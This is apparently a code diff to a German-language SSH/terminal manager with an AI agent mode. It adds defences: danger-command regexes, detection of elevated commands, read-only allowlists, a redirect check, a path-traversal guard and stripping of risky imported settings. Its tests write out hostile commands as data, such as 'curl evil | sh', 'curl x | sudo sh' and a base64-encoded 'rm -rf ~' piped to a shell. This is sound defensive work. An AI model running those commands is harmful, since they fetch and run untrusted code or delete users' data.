|
||||
"SSH-Schlüssel": "SSH key",
|
||||
"Schlüssel erzeugt: ": "Key generated: ",
|
||||
"Schlüssel": "Key",
|
||||
|
||||
@@ -75,5 +75,5 @@ func (system) Delete(account string) error {
|
||||
// Shell in einfachen Anführungszeichen). Anführungszeichen und Backslashes
|
||||
// fliegen raus: Dienst und Konto enthalten keine, der Name ist nur Anzeige.
|
||||
func quote(s string) string {
|
||||
return "'" + strings.NewReplacer("'", "", `"`, "", `\`, "", "\n", " ").Replace(s) + "'"
|
||||
return "'" + strings.NewReplacer("'", "", `"`, "", `\`, "", "\n", " ", "\r", " ").Replace(s) + "'"
|
||||
}
|
||||
+12
-1
@@ -164,7 +164,18 @@ func httpClient(cfg domain.LLMConfig) *http.Client {
|
||||
if t <= 0 {
|
||||
t = 60
|
||||
}
|
||||
return &http.Client{Timeout: time.Duration(t) * time.Second, Transport: transport}
|
||||
return &http.Client{Timeout: time.Duration(t) * time.Second, Transport: transport, CheckRedirect: sameHostRedirect}
|
||||
}
|
||||
|
||||
// sameHostRedirect: Weiterleitungen nur zum selben Host und nie von https
|
||||
// auf http. Go entfernt beim Hostwechsel nur „Authorization“, nicht den
|
||||
// API-Schlüssel im Kopf „x-api-key“ (Anthropic).
|
||||
func sameHostRedirect(req *http.Request, via []*http.Request) error {
|
||||
first := via[0].URL
|
||||
if len(via) >= 5 || req.URL.Host != first.Host || (first.Scheme == "https" && req.URL.Scheme != "https") {
|
||||
return fmt.Errorf(i18n.T("KI-Endpunkt leitet nach %s weiter, abgelehnt"), req.URL.Host)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setAuth(req *http.Request, cfg domain.LLMConfig) {
|
||||
|
||||
@@ -28,7 +28,9 @@ func r(p, reason string) rule { return rule{regexp.MustCompile(`(?i)` + p), reas
|
||||
// Die Gründe stehen deutsch in den Regeln und werden bei Check übersetzt.
|
||||
|
||||
var unixRules = []rule{
|
||||
r(`\brm\s+(-[A-Za-z-]+\s+)*-[A-Za-z]*[rRf]`, "löscht Dateien"),
|
||||
r(`\brm\s+(-[A-Za-z-]+\s+)*-[A-Za-z]*[rRf]|\brm\s+(\S+\s+)*--(recursive|force)\b`, "löscht Dateien"),
|
||||
r(`\bfind\b[^|;&]*\s(-delete\b|-exec(dir)?\s+(sudo\s+)?rm\b)`, "löscht Dateien"),
|
||||
r(`\|\s*(sudo\s+)?(ba|z|da|k)?sh(\s+-s?)?\s*($|[;&|])|\bbase64\s+(-d|--decode)\b[^;&]*\|\s*(sudo\s+)?\S*sh\b`, "führt unbekannten Text als Skript aus"),
|
||||
r(`\bdd\s`, "schreibt roh auf ein Gerät"),
|
||||
r(`\b(mkfs|wipefs|fdisk|sfdisk|parted|shred)\b`, "Datenträger formatieren oder löschen"),
|
||||
r(`\b(chmod|chown)\s+(\S+\s+)*-[A-Za-z]*R[A-Za-z]*\s+(\S+\s+)*/(\s|\*|$)`, "Rechte des ganzen Systems ändern"),
|
||||
@@ -113,9 +115,10 @@ func KindFor(osText string, netDevice bool) string {
|
||||
// nicht feststeht, z. B. ein Runbook vor dem Verbinden).
|
||||
var Kinds = []string{"unix", "windows", Network}
|
||||
|
||||
// Elevated: läuft der Befehl mit erhöhten Rechten?
|
||||
// Elevated: läuft der Befehl mit erhöhten Rechten? Auch hinter && ; | oder
|
||||
// in $( … ), sonst liefe „cd /etc && sudo …“ im Agent-Modus ohne Rückfrage.
|
||||
func Elevated(cmd string) bool {
|
||||
c := strings.TrimSpace(cmd)
|
||||
return strings.HasPrefix(c, "sudo ") || strings.Contains(c, "| sudo ") || strings.HasPrefix(c, "doas ") ||
|
||||
strings.Contains(strings.ToLower(c), "-verb runas")
|
||||
return elevatedRE.MatchString(cmd) || strings.Contains(strings.ToLower(cmd), "-verb runas")
|
||||
}
|
||||
|
||||
var elevatedRE = regexp.MustCompile(`(^|[;&|({` + "`" + `]|\$\(|\b(then|do|else|exec|xargs|nohup|env|time)\s)\s*(sudo|doas|pkexec|run0|su)(\s|$)`)
|
||||
@@ -43,3 +43,33 @@ func TestNetworkDanger(t *testing.T) {
|
||||
t.Error("KindFor")
|
||||
}
|
||||
}
|
||||
|
||||
func TestElevatedChained(t *testing.T) {
|
||||
yes := []string{"sudo ls", "cd /etc && sudo vi x", "true; sudo reboot", "echo x | sudo tee /etc/f",
|
||||
"ls $(sudo cat /root/x)", "su -c 'id'", "doas pkg_add x", "pkexec rm x", "xargs sudo rm < l", "Start-Process x -Verb RunAs"}
|
||||
no := []string{"ls", "pseudo x", "echo sudoku", "git log --author=sudo", "grep -r su ."}
|
||||
for _, c := range yes {
|
||||
if !Elevated(c) {
|
||||
t.Errorf("Elevated(%q) = false", c)
|
||||
}
|
||||
}
|
||||
for _, c := range no {
|
||||
if Elevated(c) {
|
||||
t.Errorf("Elevated(%q) = true", c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDangerMore(t *testing.T) {
|
||||
for _, c := range []string{"rm --recursive --force /srv", "rm -- --force", "find /var -name '*.log' -delete",
|
||||
"find . -exec rm {} +", "echo cm0gLXJmIH4= | base64 -d | sh", "cat x.sh | bash", "curl x | sudo sh"} {
|
||||
if len(Check(c, "unix")) == 0 {
|
||||
t.Errorf("keine Gefahr erkannt: %q", c)
|
||||
}
|
||||
}
|
||||
for _, c := range []string{"find / -name x", "ls | grep sh", "ps aux | grep bash", "rm datei.txt"} {
|
||||
if f := Check(c, "unix"); len(f) != 0 {
|
||||
t.Errorf("falscher Alarm %q: %v", c, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -49,8 +49,8 @@ var unixRead = set("ls", "ll", "cat", "head", "tail", "grep", "egrep", "fgrep",
|
||||
"echo", "printf", "printenv", "lsblk", "lsof", "ss", "netstat", "dig", "nslookup", "host", "sort",
|
||||
"cut", "tr", "column", "getent", "lscpu", "lsmod", "lspci", "lsusb", "findmnt", "readlink", "realpath",
|
||||
"basename", "dirname", "md5sum", "sha1sum", "sha256sum", "nproc", "last", "w", "who", "test", "[", "true", "pwd",
|
||||
"diff", "cmp", "jq", "nl", "rev", "tac", "seq", "vmstat", "iostat", "mpstat", "dmesg", "journalctl", "nvidia-smi",
|
||||
"sensors", "arch", "locale", "getconf", "apt-cache", "apt-config", "tty", "mount")
|
||||
"diff", "cmp", "jq", "nl", "rev", "tac", "seq", "vmstat", "iostat", "mpstat", "dmesg", "journalctl",
|
||||
"arch", "locale", "getconf", "apt-cache", "apt-config", "tty", "mount")
|
||||
|
||||
// Befehle, die nur mit bestimmten Unterbefehlen lesen.
|
||||
var unixSub = map[string]map[string]bool{
|
||||
@@ -76,6 +76,12 @@ var unixSub = map[string]map[string]bool{
|
||||
"nft": set("list"),
|
||||
}
|
||||
|
||||
// nvidia-smi: Schalter, die nur lesen (alles andere fragt nach)
|
||||
var smiRead = set("-L", "--list-gpus", "-q", "--query", "-d", "--display", "-i", "--id", "-x", "--xml-format",
|
||||
"--query-gpu", "--query-compute-apps", "--query-supported-clocks", "--query-retired-pages",
|
||||
"--query-remapped-rows", "--query-accounted-apps", "--format", "-l", "--loop", "-lms", "--loop-ms",
|
||||
"-m", "-s", "-u", "--unit", "-h", "--help")
|
||||
|
||||
// ohne Argumente ebenfalls nur lesend
|
||||
var unixBare = set("timedatectl", "hostnamectl", "ip", "systemctl", "docker", "git")
|
||||
|
||||
@@ -95,7 +101,7 @@ func unixSegment(f []string) bool {
|
||||
case "find":
|
||||
for _, a := range args {
|
||||
switch a {
|
||||
case "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprintf", "-fls":
|
||||
case "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls":
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -130,11 +136,43 @@ func unixSegment(f []string) bool {
|
||||
return len(args) == 0
|
||||
}
|
||||
for _, a := range args {
|
||||
if a == "-c" || a == "-C" || a == "--clear" || a == "--read-clear" {
|
||||
switch a {
|
||||
case "-c", "-C", "--clear", "--read-clear", "-n", "-D", "-E", "--console-off", "--console-on":
|
||||
return false
|
||||
}
|
||||
if strings.HasPrefix(a, "--console-level") || strings.HasPrefix(a, "-n") {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
case "nvidia-smi":
|
||||
// nur Abfragen; -r (GPU-Reset), -pl (Leistungsgrenze), -pm, -c … ändern etwas
|
||||
for _, a := range args {
|
||||
if strings.HasPrefix(a, "-") && !smiRead[strings.SplitN(a, "=", 2)[0]] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
case "sensors":
|
||||
for _, a := range args {
|
||||
if a == "-s" || a == "--set" {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
case "ss":
|
||||
for _, a := range args {
|
||||
if a == "--kill" || (strings.HasPrefix(a, "-") && !strings.HasPrefix(a, "--") && strings.Contains(a, "K")) {
|
||||
return false // ss -K beendet Verbindungen
|
||||
}
|
||||
}
|
||||
return true
|
||||
case "git":
|
||||
for _, a := range args {
|
||||
if strings.HasPrefix(a, "--output") || strings.HasPrefix(a, "--ext-diff") {
|
||||
return false
|
||||
}
|
||||
}
|
||||
case "ip":
|
||||
for _, a := range args {
|
||||
switch a {
|
||||
@@ -172,7 +210,8 @@ func netReadOnly(cmd string) bool {
|
||||
return netShow.MatchString(cmd) && !strings.Contains(strings.ToLower(cmd), " > ")
|
||||
}
|
||||
|
||||
var winVerb = regexp.MustCompile(`(?i)^(get|test|select|format|where|sort|measure|resolve|out-string)(-|$)`)
|
||||
// Format-Table/List/Wide/Custom/Hex nur ausgeben; Format-Volume und „format C:“ formatieren!
|
||||
var winVerb = regexp.MustCompile(`(?i)^((get|test|select|where|sort|measure|resolve)(-|$)|out-string$|format-(table|list|wide|custom|hex)$)`)
|
||||
var winRead = set("dir", "ls", "type", "cat", "ipconfig", "systeminfo", "hostname", "whoami", "tasklist", "netstat",
|
||||
"nslookup", "ver", "echo", "findstr", "where", "gci", "gc", "gps", "gsv", "select", "sort", "ft", "fl")
|
||||
|
||||
|
||||
@@ -55,3 +55,26 @@ func TestReadOnly(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadOnlyWriters(t *testing.T) {
|
||||
for _, c := range []string{"nvidia-smi -r", "nvidia-smi -pl 200", "nvidia-smi -i 0 -pm 1", "nvidia-smi --gpu-reset",
|
||||
"sensors -s", "dmesg -n 1", "ss -K dst 1.2.3.4", "git diff --output=/etc/x", "find . -fprint0 /tmp/x"} {
|
||||
if ReadOnly(c, "unix") {
|
||||
t.Errorf("ReadOnly(%q) = true", c)
|
||||
}
|
||||
}
|
||||
for _, c := range []string{"nvidia-smi", "nvidia-smi -L", "nvidia-smi --query-gpu=name,memory.used --format=csv", "nvidia-smi -i 0 -q -d MEMORY",
|
||||
"sensors", "dmesg -T", "ss -tlnp", "git log --oneline"} {
|
||||
if !ReadOnly(c, "unix") {
|
||||
t.Errorf("ReadOnly(%q) = false", c)
|
||||
}
|
||||
}
|
||||
for _, c := range []string{"Format-Volume -DriveLetter D", "format C:", "format"} {
|
||||
if ReadOnly(c, "windows") {
|
||||
t.Errorf("ReadOnly(%q, windows) = true", c)
|
||||
}
|
||||
}
|
||||
if !ReadOnly("Get-Process | Format-Table", "windows") || !ReadOnly("Get-ChildItem | Sort-Object Name | Select-Object -First 3", "windows") {
|
||||
t.Error("Format-Table/Sort-Object sollten nur lesen")
|
||||
}
|
||||
}
|
||||
@@ -144,3 +144,16 @@ func TestEncoding(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlainName(t *testing.T) {
|
||||
for _, n := range []string{"a.txt", ".bashrc", "x y", "1:2.log"} {
|
||||
if !plainName(n) {
|
||||
t.Errorf("plainName(%q) = false", n)
|
||||
}
|
||||
}
|
||||
for _, n := range []string{"", ".", "..", "../x", "a/b", `..\..\x`, "/etc/passwd"} {
|
||||
if plainName(n) {
|
||||
t.Errorf("plainName(%q) = true", n)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -242,6 +242,11 @@ func Copy(ctx context.Context, src FS, srcPath string, dst FS, dstDir string, pr
|
||||
return copyAny(ctx, src, srcPath, dst, dst.Join(dstDir, name), pr)
|
||||
}
|
||||
|
||||
// plainName: ein einzelner Name ohne Pfadanteile.
|
||||
func plainName(n string) bool {
|
||||
return n != "" && n != "." && n != ".." && !strings.ContainsAny(n, "/\\\x00")
|
||||
}
|
||||
|
||||
func copyAny(ctx context.Context, src FS, sp string, dst FS, dp string, pr *Progress) error {
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
@@ -264,6 +269,11 @@ func copyAny(ctx context.Context, src FS, sp string, dst FS, dp string, pr *Prog
|
||||
if c.Link && c.IsDir {
|
||||
continue
|
||||
}
|
||||
if !plainName(c.Name) {
|
||||
// Ein bösartiger SFTP-Server könnte „../../.bashrc“ melden und
|
||||
// so beim Herunterladen eines Ordners lokal überall schreiben.
|
||||
return fmt.Errorf(i18n.T("ungültiger Dateiname vom Server: %q"), c.Name)
|
||||
}
|
||||
if err := copyAny(ctx, src, src.Join(sp, c.Name), dst, dst.Join(dp, c.Name), pr); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+23
-1
@@ -218,6 +218,28 @@ func Strip(c domain.Connection, o Options) domain.Connection {
|
||||
return c
|
||||
}
|
||||
|
||||
// safeIncoming: eine neue Verbindung aus einem fremden Paket darf auf diesem
|
||||
// Rechner nichts ausführen und nichts weiterreichen, bevor man sie selbst
|
||||
// eingestellt hat. Sonst könnte jeder mit Schreibrecht auf eine abonnierte
|
||||
// Team-Datei hier Befehle starten (cmd:-Passwortquelle, lokale Shell) oder
|
||||
// den eigenen SSH-Agent an einen fremden Server hängen.
|
||||
func safeIncoming(c domain.Connection) domain.Connection {
|
||||
c.ForwardAgent, c.ForwardX11 = false, false
|
||||
c.LocalShell, c.LocalDir = "", ""
|
||||
for _, src := range []*string{&c.PassSource, &c.OTPSource} {
|
||||
if strings.HasPrefix(strings.ToLower(strings.TrimSpace(*src)), "cmd:") {
|
||||
*src = ""
|
||||
}
|
||||
}
|
||||
if !strings.HasPrefix(c.KeyPath, "~") {
|
||||
c.KeyPath = ""
|
||||
}
|
||||
if !strings.HasPrefix(c.CertPath, "~") {
|
||||
c.CertPath = ""
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// Stats: was die Übernahme geändert hat.
|
||||
type Stats struct {
|
||||
Added, Updated int
|
||||
@@ -312,7 +334,7 @@ func Apply(d *domain.Data, p *Package, ids map[string]bool, folder, user string,
|
||||
st.Updated++
|
||||
continue
|
||||
}
|
||||
c := in
|
||||
c := safeIncoming(in)
|
||||
if c.Port == 0 {
|
||||
c.Port = 22
|
||||
}
|
||||
|
||||
@@ -227,3 +227,18 @@ func TestLocHTTP(t *testing.T) {
|
||||
t.Fatal("ohne Anmeldung gelesen")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyDropsRiskyFields(t *testing.T) {
|
||||
p := &Package{Connections: []domain.Connection{{ID: "x1", Alias: "web", Host: "h", Protocol: domain.ProtoLocal,
|
||||
LocalShell: "sh -c 'curl evil | sh'", LocalDir: "/", PassSource: "cmd: curl evil", OTPSource: "op://T/web/otp",
|
||||
ForwardAgent: true, ForwardX11: true, KeyPath: "/etc/ssh/ssh_host_ed25519_key", CertPath: "~/.ssh/id-cert.pub"}}}
|
||||
d := &domain.Data{}
|
||||
Apply(d, p, nil, "", "", time.Now())
|
||||
c := d.Connections[0]
|
||||
if c.LocalShell != "" || c.LocalDir != "" || c.PassSource != "" || c.ForwardAgent || c.ForwardX11 || c.KeyPath != "" {
|
||||
t.Fatalf("riskante Felder übernommen: %+v", c)
|
||||
}
|
||||
if c.OTPSource != "op://T/web/otp" || c.CertPath != "~/.ssh/id-cert.pub" {
|
||||
t.Fatalf("harmlose Felder verloren: %+v", c)
|
||||
}
|
||||
}
|
||||
@@ -106,10 +106,7 @@ func (t *Term) cellAt(sb int, p Pos) (uv.Cell, bool) {
|
||||
if p.Line < sb {
|
||||
return t.sb.cell(p.Col, p.Line)
|
||||
}
|
||||
if c := t.emu.CellAt(p.Col, p.Line-sb); c != nil {
|
||||
return *c, true
|
||||
}
|
||||
return uv.Cell{}, false
|
||||
return t.emu.CellCopy(p.Col, p.Line-sb)
|
||||
}
|
||||
|
||||
// Render zeichnet den Bildschirm, um offset Zeilen in den Scrollback
|
||||
|
||||
@@ -329,8 +329,8 @@ func (t *Term) CursorLine() string {
|
||||
var b strings.Builder
|
||||
cx, _, _ := t.Cursor()
|
||||
for x := 0; x < w && x < cx; x++ {
|
||||
c := t.emu.CellAt(x, cy)
|
||||
if c == nil || c.Content == "" {
|
||||
c, ok := t.emu.CellCopy(x, cy)
|
||||
if !ok || c.Content == "" {
|
||||
b.WriteByte(' ')
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -312,7 +312,7 @@ func (a *App) startTransfer(s *session, srcFS sshx.FS, paths []string, dstFS ssh
|
||||
}
|
||||
}
|
||||
if len(exist) > 0 {
|
||||
what := "„" + exist[0] + "“"
|
||||
what := i18n.T("„") + exist[0] + i18n.T("“")
|
||||
if len(exist) > 1 {
|
||||
what = fmt.Sprintf(i18n.T("%d Einträge (%s …)"), len(exist), exist[0])
|
||||
}
|
||||
|
||||
@@ -13,8 +13,8 @@ import (
|
||||
// Tastenbelegung (actionDefs) und der Hilfe (helpSections). Ändert sich eins
|
||||
// davon, schlägt er fehl, bis die Kurzreferenz nachgezogen ist:
|
||||
//
|
||||
// 1. tools/handout/content.mjs anpassen (README-Tabellen und site/ Tasten auch)
|
||||
// 2. make handout (schreibt die PDFs und den neuen Fingerabdruck)
|
||||
// 1. tools/handout/content.mjs anpassen (README-Tabellen und site/ Tasten auch)
|
||||
// 2. make handout (schreibt die PDFs und den neuen Fingerabdruck)
|
||||
const handoutStamp = "../../tools/handout/keys.sha256"
|
||||
|
||||
func handoutFingerprint() string {
|
||||
|
||||
@@ -114,7 +114,7 @@ func (a *App) pickJumpField(self domain.Connection) tea.Cmd {
|
||||
}
|
||||
title := i18n.T("Jump-Host wählen")
|
||||
if self.Alias != "" {
|
||||
title += i18n.T(" für „") + self.Alias + "“"
|
||||
title += i18n.T(" für „") + self.Alias + i18n.T("“")
|
||||
}
|
||||
p := newPicker(title, i18n.T("Name, Host, Ordner oder Tag"), items, fl.value, func(it pickItem) tea.Cmd {
|
||||
fl.value = it.value
|
||||
|
||||
@@ -49,7 +49,7 @@ func (a *App) applyLayout(i int) {
|
||||
m := layoutOrder[i]
|
||||
if !a.fits(m) {
|
||||
a.modal.sel = i
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + "“")
|
||||
a.flash(i18n.T("Fenster zu klein für „") + m.label() + i18n.T("“"))
|
||||
return
|
||||
}
|
||||
a.modal = nil
|
||||
|
||||
+1
-1
@@ -566,7 +566,7 @@ func (a *App) viewLogs() string {
|
||||
case m.group != "":
|
||||
title := fmt.Sprintf(i18n.T("◆ Zusammenfassung über %s"), sessionsText(nLogsOf(rows, m.sel, nLogs, m.groupQ == m.search.Value())))
|
||||
if m.groupQ != "" {
|
||||
title += i18n.T(" zu „") + m.groupQ + "“"
|
||||
title += i18n.T(" zu „") + m.groupQ + i18n.T("“")
|
||||
}
|
||||
rb.WriteString(" " + s.PanelTitle.Foreground(s.T.AI).Render(title) + s.Muted.Render(" ") + a.hints(s.Muted, [2]string{"Esc", i18n.T("schließen")}) + "\n\n")
|
||||
rb.WriteString(indent(wrap(s.Text.Render(m.group), w), " "))
|
||||
|
||||
+2
-2
@@ -144,7 +144,7 @@ func (a *App) updateKeys(msg tea.Msg) tea.Cmd {
|
||||
}
|
||||
e.err = ""
|
||||
if other, ok := a.keys.conflicts()[id]; ok {
|
||||
e.err = i18n.T("Achtung: ") + keyLabel(key) + i18n.T(" ist auch „") + i18n.T(defOf(other).label) + "“"
|
||||
e.err = i18n.T("Achtung: ") + keyLabel(key) + i18n.T(" ist auch „") + i18n.T(defOf(other).label) + i18n.T("“")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -194,7 +194,7 @@ func (a *App) viewKeys() string {
|
||||
mark = s.AI.Render(" ●") + s.Muted.Render(i18n.T(" Standard: ")+keyLabel(d.def[0]))
|
||||
}
|
||||
if o, ok := conf[d.id]; ok {
|
||||
mark += s.Danger.Render(i18n.T(" ▲ auch „") + i18n.T(defOf(o).label) + "“")
|
||||
mark += s.Danger.Render(i18n.T(" ▲ auch „") + i18n.T(defOf(o).label) + i18n.T("“"))
|
||||
}
|
||||
keyTxt := s.Key.Render(cur)
|
||||
if i == e.sel && e.capturing {
|
||||
|
||||
@@ -389,7 +389,7 @@ func (a *App) viewManager() string {
|
||||
if m.drag.from < len(rows) {
|
||||
name = rows[m.drag.from].name()
|
||||
}
|
||||
lb.WriteString(" " + s.Warn.Render("↕ „"+trunc(name, 16)+"“ "+trunc(desc, leftW-24)) + "\n")
|
||||
lb.WriteString(" " + s.Warn.Render("↕ "+i18n.T("„")+trunc(name, 16)+i18n.T("“")+" "+trunc(desc, leftW-24)) + "\n")
|
||||
case m.searching || m.search.Value() != "":
|
||||
m.search.SetWidth(leftW - 6)
|
||||
lb.WriteString(" " + s.Accent.Render("/") + " " + m.search.View() + "\n")
|
||||
|
||||
@@ -241,7 +241,7 @@ func (a *App) renameFolderDialog(path string) tea.Cmd {
|
||||
return nil
|
||||
}
|
||||
a.mgr.want = "f:" + neu
|
||||
a.flash(i18n.T("Ordner heißt jetzt „") + neu + "“")
|
||||
a.flash(i18n.T("Ordner heißt jetzt „") + neu + i18n.T("“"))
|
||||
return nil
|
||||
})
|
||||
return a.modal.in.Focus()
|
||||
@@ -252,7 +252,7 @@ func (a *App) deleteFolderDialog(n *domain.TreeNode) {
|
||||
parent := domain.PathParent(path)
|
||||
where := i18n.T("die oberste Ebene")
|
||||
if parent != "" {
|
||||
where = "„" + parent + "“"
|
||||
where = i18n.T("„") + parent + i18n.T("“")
|
||||
}
|
||||
body := i18n.T("Ordner „") + path + i18n.T("“ auflösen?")
|
||||
if n.Total > 0 || len(n.Folders) > 0 {
|
||||
@@ -294,7 +294,7 @@ func newFolderExtra(tree *domain.TreeNode) func(q string) *pickItem {
|
||||
if p == "" || tree.Find(p) != nil {
|
||||
return nil
|
||||
}
|
||||
return &pickItem{value: p, label: i18n.T("+ Neuer Ordner „") + p + "“", hint: i18n.T("⏎ anlegen")}
|
||||
return &pickItem{value: p, label: i18n.T("+ Neuer Ordner „") + p + i18n.T("“"), hint: i18n.T("⏎ anlegen")}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -333,7 +333,7 @@ func (a *App) moveRowTo(r mgrRow, target string) {
|
||||
a.expandTo(target) // Ziel aufklappen, damit man es sieht
|
||||
where := i18n.T("oberste Ebene")
|
||||
if target != "" {
|
||||
where = "„" + target + "“"
|
||||
where = i18n.T("„") + target + i18n.T("“")
|
||||
}
|
||||
a.flash("„" + r.name() + i18n.T("“ liegt jetzt in ") + where)
|
||||
}
|
||||
@@ -449,7 +449,7 @@ func (a *App) dropPlan(rows []mgrRow, from, to int) (desc string, do func()) {
|
||||
if after {
|
||||
rel = i18n.T("nach")
|
||||
}
|
||||
return rel + " „" + dst.node.Name + "“", func() {
|
||||
return rel + " " + i18n.T("„") + dst.node.Name + i18n.T("“"), func() {
|
||||
a.mgr.want = src.key()
|
||||
if err := a.st.OrderFolders(paths); err != nil {
|
||||
a.flashErr(err.Error())
|
||||
@@ -465,13 +465,13 @@ func (a *App) dropPlan(rows []mgrRow, from, to int) (desc string, do func()) {
|
||||
if target == domain.PathParent(src.node.Path) {
|
||||
return "", nil
|
||||
}
|
||||
return i18n.T("in „") + orDefault(target, i18n.T("oberste Ebene")) + "“", func() { a.moveRowTo(src, target) }
|
||||
return i18n.T("in „") + orDefault(target, i18n.T("oberste Ebene")) + i18n.T("“"), func() { a.moveRowTo(src, target) }
|
||||
}
|
||||
if dst.isFolder() {
|
||||
if dst.node.Path == src.conn.Group {
|
||||
return "", nil
|
||||
}
|
||||
return i18n.T("in „") + dst.node.Path + "“", func() { a.moveRowTo(src, dst.node.Path) }
|
||||
return i18n.T("in „") + dst.node.Path + i18n.T("“"), func() { a.moveRowTo(src, dst.node.Path) }
|
||||
}
|
||||
// Verbindung auf Verbindung: davor bzw. danach einsortieren
|
||||
group := dst.conn.Group
|
||||
@@ -493,9 +493,9 @@ func (a *App) dropPlan(rows []mgrRow, from, to int) (desc string, do func()) {
|
||||
}
|
||||
where := ""
|
||||
if group != src.conn.Group {
|
||||
where = i18n.T(" in „") + orDefault(group, i18n.T("oberste Ebene")) + "“"
|
||||
where = i18n.T(" in „") + orDefault(group, i18n.T("oberste Ebene")) + i18n.T("“")
|
||||
}
|
||||
return rel + " „" + dst.conn.Alias + "“" + where, func() {
|
||||
return rel + " " + i18n.T("„") + dst.conn.Alias + i18n.T("“") + where, func() {
|
||||
a.mgr.want = src.key()
|
||||
if err := a.st.PlaceConns(group, ids); err != nil {
|
||||
a.flashErr(err.Error())
|
||||
|
||||
@@ -191,7 +191,9 @@ func (a *App) takeClipboard(s *session) tea.Cmd {
|
||||
return nil
|
||||
}
|
||||
txt := s.term.TakeClipboard()
|
||||
if txt == "" || !a.osc52On() {
|
||||
// Zuschauer-Tab: ein fremder Gastgeber darf nichts in die eigene
|
||||
// Zwischenablage legen (z. B. einen Befehl, den man dann einfügt).
|
||||
if txt == "" || !a.osc52On() || s.conn.Protocol == domain.ProtoWatch {
|
||||
return nil
|
||||
}
|
||||
go func() { _ = clipboard.WriteAll(txt) }()
|
||||
|
||||
@@ -136,11 +136,11 @@ func (a *App) paletteItems() []palItem {
|
||||
}
|
||||
if q != "" && inTerm {
|
||||
items = append(items,
|
||||
palItem{group: pgAI, icon: ic("goal"), label: i18n.T("Als Ziel starten: „") + trunc(oneLine(q), 50) + "“", hint: "⏎",
|
||||
palItem{group: pgAI, icon: ic("goal"), label: i18n.T("Als Ziel starten: „") + trunc(oneLine(q), 50) + i18n.T("“"), hint: "⏎",
|
||||
run: func() tea.Cmd { return a.startGoal(s, q) }},
|
||||
palItem{group: pgAI, icon: ic("ai"), label: i18n.T("KI fragen: „") + trunc(oneLine(q), 50) + "“", hint: "Tab",
|
||||
palItem{group: pgAI, icon: ic("ai"), label: i18n.T("KI fragen: „") + trunc(oneLine(q), 50) + i18n.T("“"), hint: "Tab",
|
||||
run: func() tea.Cmd { return a.startAsk(s, q) }},
|
||||
palItem{group: pgAI, icon: ic("rewrite"), label: i18n.T("Für dieses System umschreiben: „") + trunc(oneLine(q), 40) + "“", hint: i18n.T("Befehl"),
|
||||
palItem{group: pgAI, icon: ic("rewrite"), label: i18n.T("Für dieses System umschreiben: „") + trunc(oneLine(q), 40) + i18n.T("“"), hint: i18n.T("Befehl"),
|
||||
run: func() tea.Cmd { return a.startAdapt(s, oneLine(q)) }})
|
||||
}
|
||||
if inTerm && s.fail != nil && match("fehler warum fix error why "+s.fail.Command) {
|
||||
@@ -613,7 +613,7 @@ func (a *App) palMenuItems() []palItem {
|
||||
a.palFolder("settings/io"),
|
||||
|
||||
palItem{group: pgSetSetup, menu: "settings/ki", icon: ic("ai"), label: i18n.T("KI-Einstellungen"), hint: "s", keys: "ai llm", run: func() tea.Cmd { return a.openSettings() }},
|
||||
palItem{group: pgSetSetup, menu: "settings/ki", icon: ic("ai"), label: i18n.T("KI-Ersatz-Anbieter (Ollama, OpenAI, Claude)"), hint: "KI", keys: "ai llm fallback ollama openai claude", run: func() tea.Cmd { return a.openFallbackForm() }},
|
||||
palItem{group: pgSetSetup, menu: "settings/ki", icon: ic("ai"), label: i18n.T("KI-Ersatz-Anbieter (Ollama, OpenAI, Claude)"), keys: "ai llm fallback ollama openai claude", run: func() tea.Cmd { return a.openFallbackForm() }},
|
||||
palItem{group: pgSetSetup, menu: "settings/ki", icon: ic("llmcheck"), label: i18n.T("KI-Status: Endpunkt erreichbar? jetzt prüfen"), hint: "llm",
|
||||
run: func() tea.Cmd { a.openLLMStatus(); return a.llmProbeCmd() }},
|
||||
palItem{group: pgSetSetup, menu: "settings/relay", icon: ic("relay"), label: i18n.T("Systeme über Vermittler (Server hinter NAT/Firewall)"), hint: i18n.T("Vermittler"), keys: "relay", run: func() tea.Cmd { return a.openRelaySystems() }},
|
||||
|
||||
@@ -67,7 +67,7 @@ type goalState struct {
|
||||
fp, fpPrev *agent.FullPlan // Plan zur Freigabe / beim Überarbeiten
|
||||
planSel, explored int
|
||||
planOff []bool
|
||||
recipeFiles []agent.FileAction
|
||||
recipeFiles []agent.FileAction
|
||||
}
|
||||
|
||||
func (g *goalState) cancel() {
|
||||
|
||||
@@ -246,7 +246,7 @@ func (a *App) quickModalView(m *modal) string {
|
||||
cw := min(64, a.w-12)
|
||||
sub := s.conn.Alias
|
||||
if preset != "" {
|
||||
sub += i18n.T(" · Vorbelegung „") + preset + "“"
|
||||
sub += i18n.T(" · Vorbelegung „") + preset + i18n.T("“")
|
||||
}
|
||||
var lines []string
|
||||
for i := 0; i < maxQuick; i++ {
|
||||
@@ -353,7 +353,7 @@ func (a *App) openQuickForm(c domain.Connection, remote string) tea.Cmd {
|
||||
help := i18n.T("eigene Liste")
|
||||
if len(cur) == 0 {
|
||||
cur = p.cmds
|
||||
help = i18n.T("Vorbelegung „") + p.name + "“"
|
||||
help = i18n.T("Vorbelegung „") + p.name + i18n.T("“")
|
||||
}
|
||||
f := &form{title: i18n.T("Schnellbefehle: ") + c.Alias + " (" + help + ")"}
|
||||
for i := 0; i < maxQuick; i++ {
|
||||
|
||||
@@ -86,7 +86,7 @@ func (m muxState) attachCmd() string {
|
